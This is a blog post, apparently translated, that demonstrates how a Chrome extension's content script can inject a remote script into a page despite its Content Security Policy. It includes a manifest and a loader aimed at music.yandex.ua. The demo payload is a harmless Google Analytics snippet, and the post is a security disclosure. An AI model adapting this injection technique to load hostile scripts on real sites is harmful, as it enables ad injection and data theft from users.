CSP Bypass with Google Chrome Extensions

Not so long ago I set up CSP ( content security policy ) on my project , and decided that life was a success. After all, now it is impossible to load scripts from forbidden resources, and even about an attempt to do this, I will be notified by a corresponding error. And if someone uploads the script, you still can’t transmit anything, because ajax requests are sent only to my servers.

So I thought, and was calm for a while.

I also used the HTTP Headers extension, which helped me view the server response headers in a convenient way. One fine day, I saw an advertisement on my resources that had never been there. Having looked at the code a bit and experimented, I realized that it was this extension that added ads to all the sites I visit. Unfortunately, I did not copy the extension code on time, and at the moment it has already been removed from the extension store with the mark “contains malware”. With this I will begin my story.

It became very interesting to me how it was, because I have clear rules for the browser about the policy of downloading scripts and sending data from my page, and here I see that the security settings very weakly increase the security of users if they use browser extensions (in in this case specifically Google Chrome). Therefore, I decided to recreate such an extension that could download scripts from a remote server bypassing CSP.

Writing extensions for the browser is not very difficult, there have been many articles about this, in particular from Google , so I will not dwell in more detail on the writing of the extension.

As an example, Yandex Music was chosen for several reasons:

  • They have a CSP
  • They have powerful enough servers to withstand all “who are interested to see”;
  • They do not have CSP fully configured (at the time of writing, they have a content security policy report only, so I can see all error messages about incorrect content, but blocking itself will not occur)

We collect a malicious extension (you can see the finished version on GitHub ):

1. manifest.json file


{
 "manifest_version": 2,
 "name": "CSP vulnerability",
 "description": "This is just an example, please do not use it.",
 "version": "1.0",
 "browser_action": {
   "default_icon": "evil.png",
   "default_popup": "popup.html"
 },
 "content_scripts": [
   {
     "matches": [ "https://music.yandex.ua/*" ],
     "js": [ "evil.js" ],
     "run_at": "document_end"
   }
 ],
 "permissions": [
   "activeTab",
   "https://music.yandex.ua/*"
 ]
}

2. Create a “malicious" script itself


Having carefully examined where Yandex allows you to download scripts

"script-src 'self' 'unsafe-eval' vk.com cdn.pushwoosh.com yandex.ua yandex.st yandex.net yastatic.net yandexadexchange.net *.yandex.ru *.yandex.ua *.yandex.net *.yastatic.net *.yandexadexchange.net *.yandex-team.ru .

I decided that Google Analytics was clearly not enough on this list, therefore, as a “malicious” loaded script, I choose https://google-analytics.com/analytics.js , especially since many call Google “good corporation”. This choice is due to the following criteria:

  1. A plugin script will not harm anyone.
  2. It definitely works.
  3. He will try to make ajax requests.
  4. Anyone who wants to can connect it

This is another bonus, because I can simulate a loaded script without raising my server and additional code (of course, Google analytics will not let me see the collected information if I am not the owner of the site, but I did not pursue the goal of collecting some information, only a demonstration of bypassing locks).

I take the standard script from the manual, I’ll only think of the counter number from my head:

(function (i, s, o, g, r, a, m) {
   i['GoogleAnalyticsObject'] = r;
   i[r] = i[r] || function () {
           (i[r].q = i[r].q || []).push(arguments)
       }, i[r].l = 1 * new Date();
   a = s.createElement(o),
       m = s.getElementsByTagName(o)[0];
   a.async = 1;
   a.src = g;
   m.parentNode.insertBefore(a, m)
})(window, document, 'script', '//www.google-analytics.com/analytics.js', 'ga');
ga('create', 'UA-00000000-0', 'auto');
ga('send', 'pageview');

To begin with, I try to run this script from the console to check if CSP works on this site at all, and I see the following:

VM636:10 [Report Only] Refused to load the script 'https://www.google-analytics.com/analytics.js' because it violates the following Content Security Policy directive: "script-src 'self' 'unsafe-eval' vk.com cdn.pushwoosh.com yandex.ua yandex.st yandex.net yastatic.net yandexadexchange.net *.yandex.ru *.yandex.ua *.yandex.net *.yastatic.net *.yandexadexchange.net *.yandex-team.ru 'nonce-dWVmJGgsauDNxkDyep5LEg=='".

Now I’ll try to add all the same to the extension, and now, everything works. The script was successfully added to the page without generating a single error.

conclusions


Yes, many will say that the choice of extensions is everyone’s personal business, and Google more or less quickly blocked the extension (within a week from the moment I realized that it spammed me with advertising).

On the other hand, it is unclear how much it was harmful. I’ll explain why it’s harmful: an advertisement was added for dubious goods, with links to even more dubious sites, besides, I unfortunately do not know if the extension collected any data about the pages I visited, and if so, what, because by success, they could collect information from forms or simply from the pages I visited.

My opinion is that if the resource tells the browser the policy of behavior with the received page, then this policy should be absolute, and apply to everything, including extensions, but what do you think?

Also popular now: